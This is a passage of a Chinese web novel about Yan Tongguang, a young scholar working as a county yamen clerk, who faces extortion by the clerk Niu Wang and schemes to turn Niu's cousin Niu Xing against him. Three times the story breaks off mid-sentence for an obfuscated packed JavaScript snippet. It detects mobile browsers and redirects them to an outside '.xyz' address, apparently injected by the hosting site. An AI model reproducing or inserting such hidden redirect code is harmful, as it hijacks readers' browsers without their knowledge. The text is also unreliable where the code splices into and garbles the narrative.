就好像,好像你义正词严地痛斥江洋大盗时,却愕然发现大盗就在身边。 一想到自己心心念念的施展抱负,而下头的人都怀揣着这种心思,晏同光便觉一阵晕眩。 他忍不住看向眯着眼睛叭嗒烟嘴儿的赵老三,第一次觉得他如此陌生。 赵老三终于觉察到他的视线,竟一点都不意外的笑起来,用满是烟味的大手重重往他肩膀上捏几下,“傻小子,想问我为什么不制止?” 那些人一没求到我头上,二没给我好处,凭啥管? 晏同光没说话。 若说一开始觉得赵老三不告发只为明哲保身,可现在听了这番话,他的信念隐隐动摇了。 他不敢去想,是否赵老三之前也是这么干的,所以习以为常,觉得万一同僚此类行径被制止,日后自己也没法做了…… 你我心知肚明,互不干扰,能捞多少,各凭本事。 这就是某些人口中的“与人方便,便是与几方便”。 可晏同光不问,赵老三却来了谈兴,又好像因为抓到了向小辈卖弄的机会,自己眉飞色舞侃侃而谈起来,“因为这事儿就成不了!牛旺那厮胆子越来越大,几百家商铺里但凡有一个烈火爆性的敢豁出命去告官,他就吃不了兜着走!” 很多事只要没翻到明面上,谁都懒得管,可一旦撕撸开,上官们哪怕装,也要装出个公正样子来。 拔出萝卜带出泥,真闹开了,怕不要天翻地覆! 只是他有点疑惑,疑惑到底是谁当了这个出头鸟,怎么衙门上下没听到一点风声? 可惜赵老三又一次猜错了,也进一步验证了牛旺对人性把握之可怕,因为这几百家被勒索的商贩之中,竟真的无一人敢报官。 若非有晏同光机缘巧合横插一脚,只怕再过几日,牛旺的银子都收上来,开始坐地分赃了。 因为普通人的日子太苦了,纵然稍有起色,也经不起任何风险。比起孤注一掷后尚未可知的结果,零风险的忍耐显然更容易被接受。 忍忍吧,忍忍就过去了。 下头的百姓如此,衙门里身边的吏员们,又何尝不是如此? 不然牛旺也不会嚣张至今。 而更令晏同光觉得可怕的是,并非赵老三明知身边有人作恶却保持沉默,而是哪怕现在尘埃落地,赵老三的第一反应是幸灾乐祸。 他完全没有把那些百姓的死活放在心上,只想看同僚倒霉。 见晏同光成了闷声葫芦,赵老三啧一声,“当初我便劝你别来衙门,你不听,瞧瞧,现如今又怎么样了呢?” 要么离得远远的,要么就别摆出这副清高样儿,不然呐,只怕在这衙门里也混不下去。 赵老三专心抽烟,不一会儿身边便云雾缭绕起来,一锅烟叶烧尽,他惬意地吐了口气,“美!” 不知是抽烟美,还是看着牛旺美梦落空美。 总之,赵老三现在的心情很不错。 他将上面吊着的烟叶兜子缠了几下,倒背着手,斜觑着晏同光,“你爹……没福气,你嘛,实在不成就回家读书去吧,啊。” 在赵老三看来,晏父确实很没福气,儿子刚中秀才,他自己好不容易熬上典吏,孝敬出去的二百两银子还没回本呢,就死了!留下孤儿寡母喝西北风。 真是人算不如天算。 见晏同光还是不吭声,赵老三不由得有些烦躁,若非看在把兄弟份上,他吃饱了撑的才去管别人家的孩子。 这么想着,再开口时语气不免重了些,“怎么,觉得自己读了两页书,瞧不上衙门里的大老粗?” 沉浸在思绪中的晏同光无奈抬头,“您这是说的哪里话。” 见他不像说假的,赵老三的心气儿才平了些,瓮声瓮气道:“我拿你当半个儿子才与你说句掏心窝子的话,你也莫要觉得读书人便是什么观世音菩萨,我且告诉你,你如今看到的都不算什么,那些读书人真坏起来,怕不是这个的十倍百倍!” 莽夫使坏只会当面来,可那些有一万个心眼子的读书人们使起坏来,却足可叫人满门灭绝,寸草不生。 赵老三倒背着手离去时,晏同光脑子里只剩一句话: 岂不闻破家的县令,灭门的刺史? 经牛旺这么一闹,六房众人谁也没心思说笑了,各个如丧考妣,想放个屁都得夹着,当真上衙如上坟。 好不容易熬到中午,一群人三三两两去吃饭,见还是汤水透亮,煮得稀烂的杂面汤饼,不由火冒三丈,大骂厨房的采买不干人事。 “户房没少拨银子,都用到哪里去了?整日价不是白菜便是萝卜,别说肉,越发连个油星儿都不见了!” “吃也吃不饱,兄弟们都喝西北风去么?索性一齐抹脖子算完!” “依我说,不必白费力气,咱们都去他家,给他掀个底儿朝天……” 一群汉子一起破口大骂,又是拍桌又是摔凳,声势惊人,吓得厨房管事缩着脖子不敢出来,最后实在躲不过,只好答应明日做些好的,方才应付过去。 闹了这一出,众人心中的憋闷才算散了些,僵硬的气氛也重新活络起来。 唯独厨房管事觉得这群人真真儿是有病,衙门里的猪食不是一天两天了,往日没见你们怎么着,偏今儿一起发作起来…… 午后有一个时辰的休息时间,晏同光一般会小憩两刻钟,保证下午干活的精神,醒来后活动活动手脚,然后看书练字。 结果今天刚吃完饭呢,就有门房上的人来传话,说薛记针线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624708|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边有人找,让他赶紧过去。 晏同光立刻就联想到了今天的告示。 果然一进门,晏同光就被请到里间,丫头秀云带着两个嬷嬷吃茶,手边还有个大包袱。 “没想到你竟在衙门里当差。”秀云笑道,“姨娘说她以前错怪了,本以为下头的吏多是粗俗无礼之辈,不曾想还有你这般古道热肠的……这次的事你办得极好,姨娘说要好好谢谢你呢。” 原本肖姨娘想直接给东西,但想想也算间接帮了自家老爷一个大忙,又是个在册的秀才,不好随意打发,思来想去便带着秀云去告诉了夫人。 夫人一听也有些惊讶,“你考虑的很是,到底是读书人,不好怠慢。” 还这么年轻呢,万一日后有幸发达,亦算老爷的官场同盟,不如提前结个善缘。 即便不中举,也能笼络个心腹,日后办事好使唤。 想了想,夫人又说:“不过老爷毕竟刚来,他们男人家心思又重,若此时贸然提起,未免多思多想,倘或误以为那孩子是刻意接近、出卖同僚的恶人就不好了。” 她还有句话没说,那就是肖姨娘年轻貌美,刚来就突然跟个年少俊俏的郎君私下有了关联,万一传出去,只怕对两人都不好。 “夫人说的是,”肖姨娘十分赞同,又不禁感慨,“我原想着下头那些人三教九流,无所不包,常言道,强龙难压地头蛇,自然是难相与的,不曾想竟也有好的。” 夫人笑道:“你没听过那句话?仗义每多屠狗辈,天下之大,无奇不有,以后可别这么着了。” “妾没读过书,哪里知道这样的道理?”肖姨娘便腻上去,又亲自给她剥蜜橘叉香梨,“亏得夫人不嫌弃,日日教我。我看赶明儿合该办一桌酒席,我正经拜了师父才好。” 一番话说得众人俱都笑起来,夫人也忍俊不禁道:“你啊,就是嘴甜。” 两人玩笑一回,复又说起正事,“咱们初来乍到,两眼一抹黑,正需要有个机灵的从旁相助,日后敌明我暗,也多个耳目,倒不如权且将此事瞒下,日后找个合适的机会再向老爷提起不迟。” 话虽如此,可也不好一点都不表示,尤其听说那家里孤儿寡母的,两位女眷难免软了心肠,于是就有了秀云来这一趟。 “这里头是两匹茧绸,两匹厚棉布,都是夫人和姨娘给的,她们还叫我问你,可有什么心愿没有。”秀云问。 没想到这事儿竟然捅到知县夫人跟前儿去了,实在是意外之喜,晏同光忙道:“职责所在,不敢夸功,并不求什么旁的。” 听这个意思,那两位对自己的印象还不错,领了这个人情。 由此可见,之前自己对这家人的正面推测并不过分:上位者大多觉得下头的人为自己效力是应该的,别说给东西,或许事后提都不会提…… 12.激将法 二月初八是康阳县试,胡元宗亲自带着一干官员并县学内的教谕等提前一天住进考棚,刑房并兵房众人也没闲着,都在各处把守、坐镇,看着衙役们巡查。 因晏同光年轻,还有考试经验,跟王恒一起被派了个在考场门口坚守的活儿,专盯考生,看是否有夹私舞弊做贼心虚的。 二月天还没暖起来,早晚更冷,临时搭建的棚子里只一个火盆,四处漏风,两人都缩着脖子抄着袖子,冻得老鳖也似。 倒是有大伙房煮了姜汤四处分发,可等到他们手里,早凉透了。 火盆上热一热,喝了取暖也好,奈何天冷不出汗,多喝了就想跑茅房,只得忍耐。 王恒一路上骂骂咧咧,恨不得立刻就调去工房,看向考生们的眼神分外尖锐。 若不真揪出几个来,岂不白白挨冻? 一旦被认定科举舞弊,不仅考生要被严惩,祸及子孙,同一张保书上的其余几名童生亦要停考一年,并记入档案,所以大多有贼心没贼胆,这差事尚算清闲。 就是冷。 晨光未至,星子漫天,附近几条街早已戒严,沿途燃起火盆,并有挎刀执杖者巡街护卫,四处汇聚而来的考生们在主路上汇成一条人龙,伴着催促入场的鼓声缓慢前行。 跃动的火光照在他们脸上,年龄不同,神态各异,踌躇满志者有之,心怀忐忑者有之,蛮不在乎者亦有之,可谓千人千相。 分明才过去四年,但这四年中发生了太多事,晏同光再看他们,竟一点儿也想不起当初自己的心情了。 “会试搜身才真吓人,袄子的棉胎都要撕开了挨着捏过去……”干等熬人,王恒没话找话,不过他自己也没考过会试,一概皆是道听途说难辨真伪,干巴巴几句就说到头,又另起一题问晏同光,“你这个年纪,乡试要去的吧?可别误了。” 乡试三年一次,本科就在今年八月,有秀才功名的都能去,晏同光却摇头,“这回先不去了。” 王恒一愣,“怎么不去?左右是衙门掏银子,朝廷车马一发运了去,又走官道沿途护送,所需不过一点伙食……” 晏同光笑道:“近来我读了许多朝廷邸报、省报,又有各处历年文选,以前见不着的史书、杂记,当真茅塞顿开,更觉几身浅薄,只怕是不能中的。” 多读书方知天下之大,奇人之多,每每自省,更觉如井底之蛙。晏同光自觉受益匪浅,心性也跟着沉稳、从容不少,自知学业很有点突飞猛进的蜕变,却未到火候,故而越发慎重。 甚至他这几日时有后悔,后悔当初太急着下场,虽因年幼名噪一时,终究被阅卷官判了个“仍需历练”的评语,与廪生擦肩而过,不然每月好歹还能有朝廷发放的银米,家中不至于这般艰难…… “难为你竟还能读得下书去。”王恒咋舌,又摇头晃脑道,“朝廷给的银子,不花白不花,若换做是我,好歹要去混一遭,成不成的,去府城见见市面也好!” 当年他就是这么干的,后来连着几次落第,名次不进反退,又晋经书,开始要起脸面来,才停了。 晏同光沉吟片刻,轻声道:“读不下去更要读。” 这话不知是说给王恒还是他自己听。 在六房这等鱼龙混杂之处读书确实很难,因为世上总有那么些人,自己深陷泥潭,便也不希望身边的人爬上去。 但晏同光深知读书是最佳进取途径,自不会轻易放弃。 前番牛旺和赵老三等人之间无形的“默契”固然令晏同光心寒,可转念一想,摆在面前的不过两条路,要么改变,要么加入。 便如现在的自己,不也真真切切地挽救了那许多店铺吗? 多想不如多做,若心中不忿却无动于衷,只能一辈子自怨自艾……他不想那样。 至少,至少要考中举人,晏同光默默定下目标。 王恒才要再劝,张嘴就被迎面吹来的冷风扑得打了个惊天动地的喷嚏,又灌一肚子冷风。 他娘的,姜汤白喝了,指不定家去要发热! 晏同光失笑,忙拉他去角落里避风,“老兄,我知你一心为我,我只权衡自己斤两便罢,待过几年学识丰满,必要去的,只怕你到时还舍不得我走哩!” “走走走,只管走!”王恒大笑,“缩在这小小县城能有个鸟出息,我只等着你出人头地,跟着鸡犬升天!” 自己不中用,亲友发达也是好的! 两人一并大笑,又见考生过来,忙收敛笑意,做出一副威严样子,“怀里捂着什么东西?过来给我们瞧瞧!” 县试分头场、头覆、二覆、三覆和四覆,从考生入场到最终放榜,共计五场十五天,考生可以在每场考试结束后回家休息,而以胡元宗为首的一干考官却必须等到四覆发案后方可离场。期间除非有紧急公务,任何人不得擅入打扰。 但二月除考试外,还有春耕、春税等多项差事,并不清闲。县令不在期间,衙门上下诸多事务暂由县丞代理,奈何这位二老爷素来“与人为善”,远不及胡元宗有魄力,三五日倒还好,后面各房就有些不服管束起来,活像没了笼头的骡子,蠢蠢欲动。 好在自上回把一名无辜小书当众殴打出血之后,牛旺就有些心虚,一时倒收敛起来。 晏同光各处差事陆续上手,倒也能接几个活儿,往其他几房走动也渐渐频繁,及至初夏,已将衙门上下人员摸熟。 因当初牛旺欲勒索他请客未果,吏房众人对他的态度便有些含糊,有几个牛旺的狗腿子想给“主子”出气,总少不了各色刁难。 这日晏同光往吏房送文书,负责交接那人和几个管事的却不在,问去哪里了,便有人懒洋洋道:“自是有事出去,你且等着吧。” 说着,那人还掀起眼帘斜了晏同光一眼,转头与同伴发出一声意义不明的低笑,故意端起茶杯大声说:“这茶还不到火候呢。” 那人也笑:“新茶,煎得少了……” 所有人都坐着,说话的说话,闲聊的闲聊,热闹极了,割出晏同光独自一人杵在门口,形单影只。 晏同光分明瞧见那几人相互使眼色,也不恼,平静问道:“奉谁的命去哪里办什么事?” 那人头也不回,不耐烦道:“上头吩咐下来的机密要务,谁敢问?” “你是牛旺的远房族弟,叫牛平,”晏同光走过去,不低头,只垂着眼眸,俯视着他说,“我当着众人的面再问最后一遍,你方才说的话可当真?敢同我去县尊跟前对峙么?若有偏差,误了差事,你敢担责么?” 此卑劣手段无需花费什么本钱,又有奇效,所以各处屡见不鲜。 但想破招,也很简单,就是要脸皮厚、豁得出,死死咬住第一个帮凶。只要你比他们更沉得住气,就能赢。 牛平显而易见的慌乱起来,再开口便不似方才那般理直气壮,含糊道:“我是听旁人说的。” 晏同光并不上当,颇有几分咄咄逼人地追问:“旁人?哪个旁人?” 见牛平答不上,他猛地看向最靠近牛平的人,“是你?” 那人活像被踩到尾巴的猫,就差跳起来了,“不是我!” 晏同光点点头,又顺着往后问:“那是你?是你?还是你?” 所有被问到的人都如见了盐巴的蚂蝗,纷纷后缩,忙不迭否认。 等吏房的人都问完了,无人接茬,晏同光满意了,复又望向牛平: 你瞧,旁人都不认。 那就是你了。 后者带着几分羞恼地瞪了诸位同僚一眼,都是些不讲义气的混账,说好了一起发威,怎得都临阵退缩起来! 众人俱都目光躲闪,胡乱翻动手边卷宗,装出一副很忙的样子。 谁知道这书呆子这么较真儿啊,若真被拉去见官,岂不露馅儿? 另一个姓牛的被牛平看得臊得慌,硬着头皮出来和稀泥,“哎,你一个年轻人怎这般没耐性,人有三急,又或家里有什么急事……” 然而话音未落,那俊秀书生的目光便如套马索一般精准投掷过来,仿佛徘徊许久的捕猎者终于发现了心仪的猎物,“哦?听你这丝毫不见怪的意思,那位牛经书私自旷工?难不成吏房内人人如此,且习以为常,我才来,对这些都不知道,少不得去问问县尊大人,莫非这便是传闻中的吃空饷?” 那人:“……我没这么说啊,你别胡说八道!” 他简直恨不得正反手扇自己几个耳刮子,叫你充义气!乱开什么口啊! 男子汉大丈夫,张口闭口就是“问问县尊大人”,除了告状,你还会干甚么! 要不要脸啊? 一群人被一个书生问得哑口无言,眼见下不来台,终究是有人直奔伙房而去,将那个故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635967|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意刁难的经书喊了回来…… 如此这般往来几回,吏房众人都知道这个书生软硬不吃,很不好对付,遂不敢明着来。 但越发咽不下这口气,背地里少不得刁难,譬如原本一日就能完成的批复,非要拖到两日三日…… 几次下来,晏同光都有点腻了,烦了,甚至有点失望。 就这点本事么? 忒耽搁他看书! 于是,他决定给牛旺下一剂猛药。 日常在外,晏同光该怎样还怎样,偶尔遇见牛兴还会主动问好。 他与牛旺的过节,牛兴看得清清楚楚,故而最初十分防备,眼色都不给一个。 可俗话说得好,伸手不打笑脸人,他们俩之间没有直接矛盾,晏同光问好的次数多了,牛兴总不能当众次次不应,说不得十次有个一两次点头示意。 这可了不得!那书呆子竟如得了鼓励一般,越发热络,倒把个牛兴弄得浑身不自在。 端午节衙门放假,晏母在家包粽子,晏同光去街上采买雄黄酒,老远就瞧见牛兴拎着酒坛子晃悠悠出来,他眼睛一亮,快步上前问好。 一看是他,牛兴的表情就古怪起来,憋了半日,终究憋不住,带着几分烦躁和疑惑问道:“无事献殷勤,非奸即盗,你总冲我嬉皮笑脸作甚!” 晏同光大笑,“我知道您与牛典吏是堂兄弟,可他是他,您是您,怎可混为一谈?衙门里姓牛的不在少数,难不成我都绕道走?那还怎么办差呢?” 见牛兴一脸不信,晏同光的笑意就淡了些,更多三分诚恳,“不过若说没一点儿盘算,也不尽然。” 听到这里,牛兴心里才舒坦了。 这才对嘛! 世上哪儿来无缘无故的亲近! “我不过想来衙门混口饭吃,赡养老母,只不知哪里开罪了牛典吏,叫他那般待我。老兄,换做是您,头一日便那样下不来台,您作何感想呢?再怎么样,我也是在册的秀才,见官不跪,如何受得了?这才顶了上去。” 这话说得诚恳,牛兴也挑不出什么纰漏,心道果然百无一用是书生,只会过嘴瘾。若有人敢这么消遣自己,早扑上去扭打起来了。 见牛兴不出声,却没扭头就走,晏同光就知道他听进去了,“大家伙儿都在一口锅里刨食,抬头不见低头见的,闹得太僵总不好。这些日子我也往吏房去过几回,何尝不是有心经营,可他们如何待我,想必您也瞧见了……” 牛兴斜觑着他道:“我倒是瞧见你没吃亏。” 谁说得过读书人呢? 牛兴还真一早就发现了,这小子绝对不像外表那么斯文,骨子里刁滑着呢! 要他说,那些人就是白费力气,不敢动手,说又说不过,图什么? 可牛旺不喊停,他怎好出声,不然就显得吃里爬外了。 “我为什么一定要吃亏呢?”一句话又把牛兴问住。 晏同光并不在意他的反应,继续说:“话虽如此,总是聒噪,也耽搁正事。说出来您可能不信,我早便听说您与牛典吏不同,处事公正、为人仗义,很早便有心亲近,奈何出了那档子事儿……我想着,您是牛典吏的堂兄,又有名望,说几句比什么不强?难不成牛典吏还能不给您这个兄长面子?当然,我自知没那么大的脸面,叫您与牛典吏对着干,只下头那些人要胡来时,您略劝和一句也就是了,小弟感激不尽。” 其实说到底,牛旺和晏同光之间没什么大矛盾,只是前者觉得自己丢了面子,后者又有点儿读书人的倔脾气,不肯低头。 两边互不让步,针尖对麦芒,一直僵持到现在。 前半截奉承话,牛兴懒得计较真假。 可后面这些半真半假的话……有牛兴爱听的,也有不爱听的。他心里藏不大住什么事儿,晏同光看时,就见他脸上一时紧,一时松。 牛兴知道自己的人缘比牛旺好,这也是他多年来的自得之处。论年纪,对方还得喊自己一声哥,但出门在外,谁看年纪?如今身为吏房典吏的牛旺才是牛家真正的主事。 而牛旺性格乖张,别说他这个堂兄,亲爹说话都不好使! 这姓晏的小子口口声声什么“不敢指望自己和牛旺对着干,只劝和下头人就好……”什么意思?讥讽自己怕牛旺么? 他有什么可怕的,若没了典吏的身份,算个屁! 13.直球 晏同光好像没看见牛兴那吃了屎一样难看的脸色,继续添油加醋,“听说牛典吏也快退了,论资历、论亲疏,您都是头一份儿,小弟先在这里给您道喜啦。” 这下算是戳到牛兴的心窝子肺管子,他刷一下拉了脸。 晏同光忙作揖,“可是小弟说错了话?兄长莫怪。” 吏房典吏一职素来是牛兴的心病,诚如晏同光所言,论资历、论亲疏,怎么算都该是自己这个哥哥接班,可牛旺那厮竟胳膊肘往外拐,想抬举他妹夫! 这算哪门子道理! 亲兄弟尚且明算账,更何况还是堂兄弟。 原本牛兴便因为矮了弟弟一头,心里不痛快,又连晋升都没了指望,更是气极,总觉得衙门内外的人都在偷偷笑话自己。 如今连个才进衙门没几日的穷秀才都敢出言调侃?! 牛兴死盯着晏同光,阴恻恻道:“你倒是说说,你有甚么不是?” 他生得高大粗糙,捏着的拳头恨不得有碗口大,晏同光一点儿也不怀疑,以此时此刻自己煽风点火的处境,但凡说错一句话,那拳头就要抡到脸上了。 富贵险中求,他不躲不闪,诚恳道:“小弟进衙门没几日,难免不够周全,虽不知到底说错了什么,可既然惹了兄长不痛快,便已是天大的罪过,自该赔礼道歉。” 你说他不懂事吧,冷嘲热讽还都受着,活像一拳打进棉花里,牛兴素来吃软不吃硬,竟有些泄气,磨了磨牙,转身欲走。 哪知有些人天生会打蛇随棍上,晏同光竟直接从以后扯住他的胳膊,不由分说拉着就往旁边酒馆走,“兄长,兄长!莫气莫气,且容小弟赔个不是。” 牛兴一把甩开,没好气道:“哪个是你兄长!” 正逢端午佳节,百姓们都出来逛街、采买,街上人流、车马极多,当真是人难顾、车难转,两人这么一拉扯,便蹭到许多路人,都忍不住抱怨,“闹什么呢,不知看着些!” “踩着人啦!” 把个牛兴闹得有气没处撒。 “好好好,牛兄,里面请……小二,有好酒先筛两斤上来,我家兄长极是海量!”晏同光彻底将没脸没皮发挥到极致,牛兴又不好在大街上翻脸,况且也实在好一口,便半推半就进来坐下。 不多时,果然来了好酒,远远就闻到香气,又不似寻常酒浆那般浑浊,直把牛兴的酒虫勾上来,一连吃了三碗,顿觉舒畅。 衙门里没几个不爱吃酒的,他也不例外,只是浑家管得严,他又不像牛旺那般肆无忌惮,故而多有忍耐。 既然是外人执意要请,又是赔罪,不吃白不吃,家去了也有嘴同浑家说。 见对坐的晏同光只笑嘻嘻看自己吃,牛兴把眼一瞪,“你怎的不吃?” 晏同光搔搔眉心,干脆将荷包拽下来,把里面的东西在桌上倒个底儿朝天,诚恳道:“钱不够。” 他统共就带了三钱银子出来,还要买雄黄酒,剩下这点儿还不一定够牛兴霍霍。 几颗黄豆粒大小的碎银子在桌上咕噜噜滚了几圈,被光一照,越发可怜。 牛兴:“……” 他罕见的沉默片刻,又露出那种不解的神色,这小子真不怕丢人吗? 而且就这点儿玩意儿,你也敢请人吃酒?! 不过这么一来,倒越发显得真挚。 “再取碗来!”牛兴又要了一个碗,倒满,推过去,“喝!” 晏同光面露难色,就听牛兴冷笑道:“读书人尊贵,自然是不屑同咱们吃酒的。” 不讲理的劲儿果然酷似牛旺,当真是一家人。 晏同光眯了眯眼,你让我喝的哈! 他二话不说端起碗就喝,憋着气往下咽,瞬间辛辣苦涩之味席卷全身,然后……“哇!” 全吐了。 过往宾客和跑堂的齐刷刷往这边看,习以为常的哄笑出声,“哈哈,还是个雏儿!” 牛兴目瞪口呆:“……” 真腌臜啊! 多糟蹋好东西! 晏同光打了个带着酒臭气的嗝儿,把自己熏得够呛,忙倒水漱口,然后理直气壮地说:“我没喝过,你偏叫喝。” 这样难喝的马尿一般的玩意儿,到底有什么好喝的! 牛兴都不知该说什么好了,半晌才道:“酒都不会喝,算什么男人。” 一般人听到这话早炸了,但晏同光非常坦然,“我尚未成家,未及弱冠,依本朝律法,确实不算成男。” 牛兴:“……” 你敢说,他就敢认,这到底是个什么东西! 晏同光还直挺挺坐在对面,像块榆木疙瘩,眼神坦荡,不卑不亢。 近来他发现了一件极有趣的事情,人只要将脸面抛开,许多原本棘手的难题便会迎刃而解。 便如此情此景,若他还端着读书人的臭架子,又怎能将牛兴逼到这般田地? 有趣,有趣极了! 牛兴似乎也没了继续吃喝的意思,起身就走,晏同光跟着送了一回,殷切嘱咐,“兄长慢走。” 话音未落,牛兴好像走得更快了。 晏同光大笑,转身回到酒馆里续了一壶茶,见跑堂的已经在打扫,又致歉,“对不住,弄脏了你们的地界。” “客官说的哪里话,”跑堂的笑道,“这本是吃喝的地方,汤汤水水洒了是常有的……” 抛洒的不少,可专门致歉的却不多,所以跑堂的还觉得挺稀罕,甚至贴心地为他换了张靠窗的桌子。 结果晏同光一抬头就吓了一跳:一张大脸正贴在窗边,撅着腚眯着眼瞅着自己,正是王恒,也不知来了多久。 晏同光:“……” 不等他说话,王恒便晃悠悠从外头进来,先将他上下打量几遍,“你怎么跟姓牛的混作一处,他是牛旺兄弟,能是什么好鸟!” 晏同光给他倒茶,闻言失笑,“上回不还是兄长同我说,他与牛旺不同么?” 王恒喝茶的动作一顿,痛心疾首,“那是矬子里拔将军,你又不打仗,偏拔作甚!” “兄长,”晏同光微微加重了语气,打断王恒的唠叨,示意他附耳过来,“兄长难道不想更进一步?” 半趴在桌上的王恒一愣,电光火石间福至心灵,“你……此乃驱虎吞狼之计!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654294|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若真能打掉牛旺,他哪房去不得?! “哎,未必那般高明,”晏同光摆摆手,“不过这几个月试探下来,牛兴确实与牛旺不大一条心。” “那是自然,”王恒幸灾乐祸道,“肥水不流外人田嘛,若我的兄长放着自家人不管,却偏要去提拔外人,我也不乐意。” 他想了想,又压低声音问:“不过能成吗?” 出来混的,谁还不要个脸面了?打掉牙齿和血吞,胳膊折了往袖子里藏,家丑不外扬!牛兴好歹也在衙门里混了近十年,他又不是傻子,难不成还真肯因外人三言两语的挑拨和几碗酒就跟堂兄弟公然内讧? “够呛。”晏同光不假思索道。 王恒:“……” 那还说个鸟! 晏同光却又笑了,“冰冻三尺非一日之寒,哪里就能一蹴而就,兄长未免太心急。” 人心难测、易变,他并不奢求轻飘飘几句话就将牛旺击溃,只要能给敌人添堵,暂解困局就很好。 王恒哼了声,又听晏同光道:“急不得,兄长不妨这样想,那牛兴心中不忿非今日才有,咱们给他加把火,烧得更旺些,若果然能成,自然好;即便不成,也少个敌人……” 不敢奢望是朋友,可多个陌路人总比多个敌人好吧? 况且一次挑拨不成,两次、三次呢? 而只有跟牛兴混熟了,自己才有机会下手,自己说的话才有分量。 王恒知他说得在理,只是骤然听闻不免心急,“也罢,且等着吧。” 两人又吃了杯茶,晏同光看看日头,“时候不早,我该家去了,说起来,兄长是来做什么的?” 王恒一拍额头跳起来,脸色大变,“要遭要遭,哎呀呀我要走了!” 家里粽叶不够了,婆娘使唤他出来买的,结果看热闹给忘了! 却说王恒急匆匆买了粽叶,家里媳妇果然早就等急了,脸黑的活像要拧出水来,当着公婆的面儿把王恒臭骂一顿,谁都没敢劝。 晏同光也买了雄黄酒回家,一路穿街过巷,看各家门上挂着的艾草,鼻腔里都是浮动的艾香和淡淡雄黄味。 街上时不时有孩童大笑着跑过,手脚上都绑着驱除邪祟、百毒不侵的五彩丝绳,有家里宽裕的,还专门准备精致的五毒荷包和彩银挂件,并在额头上以雄黄酒画王字。 晏同光细细看着,不自觉也跟着笑,转过弯,还没进门就闻到了熟悉的粽子香。 其实这几日家家户户都包粽子,但母亲亲手做的总是别有一番滋味。 从去岁开始,晏同光入衙门办差,家里就开始有了稳定的进项,且他日常所需笔墨纸砚也无需自费,日子略略宽裕了些,今日晏母便一口气包了白糯米、蜜枣、黑米和肉粽四种。 前三种都是本地早就有的,后一种却是南边传过来的,听说富贵人家还会往里头塞排骨、瑶柱等山珍海味,配以雪白上等黏米,极是鲜美。 每种粽子都用不同颜色的绳子系着,晏同光挨着尝了一圈,糯米清香,蜜枣甘甜,黑米醇厚,肉粽过瘾,都好。 不过他还是最喜欢黑米的。 14.内乱 端午节后上衙,赵老三又打发晏同光去吏房取卷宗,才到吏房门口,就有人从窗户里朝外调笑,“呦呦,秀才公贵足踏贱地。” 晏同光还没说什么,就听旁边的牛兴拉着脸喝了句,“吵个鸟甚!” 那人唬了一跳,不晓得牛兴哪儿来这么大火气,乖乖住嘴。 晏同光朝牛兴颔首示意,后者头也不抬,不曾理会。 若说一回两回是偶然,可三回四回后,吏房上下都看出端倪,牛旺更当面问道:“我怎么瞧着你有意维护那厮?” 他一直都知道堂兄不服,本不在意,官大一级压死人,我是典吏,你是经书,你就得听我的。 可如今牛兴竟公然维护起来,不是跟自己对着干是做什么? 若放纵下去,自己的面子往哪里搁? 牛兴面不改色,“本来天儿就热,外头蝉鸣吵得人心烦,偏他们几个还不消停,怎得,我说不得了么?” 随着牛旺对妹夫的维护,两人的关系大不如前,牛兴说话也硬邦邦的起来。 我好歹是当哥哥的,难不成还要对你卑躬屈膝不成? 纵然我卑躬屈膝了,难不成还能压过你妹夫? 这也不行,那也不行,老子不伺候了! 牛旺盯着他瞧了几眼,皮笑肉不笑,“说得,怎么说不得?依我看,还打得。” 眼见气氛不对,吏房众人俱都屏息凝神,生怕火烧到自己头上。 另外两个姓牛的面面相觑,硬着头皮上来打圆场,“两位哥哥都是爽快人 ,这牙齿还有咬破嘴的时候呢,并不算什么,话说开了就好,来来来,且坐且坐……” 一个扯牛兴,一个拉牛旺,死活将他们分开。 牛兴不爱在屋里坐,一声冷哼拂袖而去,那同族的后生一个趔趄,咬牙追上去。 “二哥,二哥!”牛兴在族中行二,私下里大家都喊他二哥,“二哥,莫被小人挑拨,坏了自家情分啊!” 牛兴对其他族人倒还好,耐着性子在树下站住脚,“我便痴傻,分不清好赖?” 来人干笑,“那倒不是……” 我哪儿敢啊。 院子里其他人早听到争吵,忙不迭躲开了,此刻四下无人,牛兴也巴不得与人说句心里话,“我知那书呆子居心不良,可偏偏还挑不出不是,才叫人窝火。” 一股热风刮过,繁茂的枝叶伴着撕心裂肺的蝉鸣刷拉拉响起来,吹在脸上活像下了场火,牛兴越发烦躁,“兄终弟及,父死子继,古往今来的道理!如今连外人都知道咱们家里乱作一团,偏他还只顾着逞威风,要提拔外人,你们心里就不急?” 他与牛旺早有嫌隙,之前不过为了所谓的自家颜面一再忍耐,更自欺欺人,哄自己说外人都不知道…… 